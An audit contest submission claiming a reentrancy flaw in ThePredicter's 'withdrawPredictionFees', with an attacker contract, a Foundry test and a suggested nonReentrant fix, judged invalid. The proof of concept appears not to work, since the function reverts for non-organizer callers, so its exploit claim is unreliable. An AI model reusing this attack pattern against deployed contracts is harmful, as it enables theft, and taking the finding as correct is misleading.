Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Invalid

'ThePredicter.sol::withdrawPredictionFees' function is vulnerable due to lack of reentrancy protection

Summary

The contract is susceptible to reentrancy attacks due to the absence of reentrancy protection.

Vulnerability Details

withdrawPredictionFees Function:

function withdrawPredictionFees() public {
if (msg.sender != organizer) {
revert ThePredicter__NotEligibleForWithdraw();
}
uint256 fees = address(this).balance - players.length * entranceFee;
(bool success, ) = msg.sender.call{value: fees}("");
require(success, "Failed to withdraw");
}

Test for withdrawPredictionFees Function:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import "forge-std/Test.sol";
import "../src/ThePredicter.sol";
import "../src/ScoreBoard.sol";
contract ReentrancyAttack {
ThePredicter public target;
bool public reenter = true;
constructor(ThePredicter _target) {
target = _target;
}
receive() external payable {
if (reenter) {
reenter = false;
target.withdrawPredictionFees();
}
}
function attack() external {
target.withdrawPredictionFees();
}
}
contract ThePredicterTest is Test {
ThePredicter public predicter;
ScoreBoard public scoreBoard;
ReentrancyAttack public attacker;
address public organizer = address(0x1);
address public player1 = address(0x2);
address public player2 = address(0x3);
function setUp() public {
vm.startPrank(organizer);
scoreBoard = new ScoreBoard();
predicter = new ThePredicter(address(scoreBoard), 1 ether, 0.1 ether);
vm.deal(address(predicter), 100 ether);
vm.stopPrank();
vm.deal(player1, 10 ether);
vm.deal(player2, 10 ether);
vm.startPrank(player1);
predicter.register{value: 1 ether}();
vm.stopPrank();
vm.startPrank(player2);
predicter.register{value: 1 ether}();
vm.stopPrank();
vm.startPrank(organizer);
predicter.approvePlayer(player1);
predicter.approvePlayer(player2);
vm.stopPrank();
attacker = new ReentrancyAttack(predicter);
vm.deal(address(attacker), 1 ether);
}
function testReentrancyAttack() public {
vm.startPrank(organizer);
predicter.withdrawPredictionFees();
vm.stopPrank();
vm.startPrank(address(attacker));
attacker.attack();
vm.stopPrank();
assertGt(address(attacker).balance, 1 ether);
}
}

Impact

An attacker controlling the msg.sender address can exploit this vulnerability. Implementing a reentrancy guard is recommended to mitigate this risk.

Tools Used

Manual Review

Recommendations

I have implemented the nonReentrant modifier from the ReentrancyGuard contract to mitigate the risk of reentrancy attacks.

function withdrawPredictionFees() public nonReentrant {
if (msg.sender != organizer) {
revert ThePredicter__NotEligibleForWithdraw();
}
uint256 fees = address(this).balance - players.length * entranceFee;
(bool success, ) = msg.sender.call{value: fees}("");
require(success, "Failed to withdraw");
}

Updates

Lead Judging Commences

NightHawK Lead Judge over 1 year ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.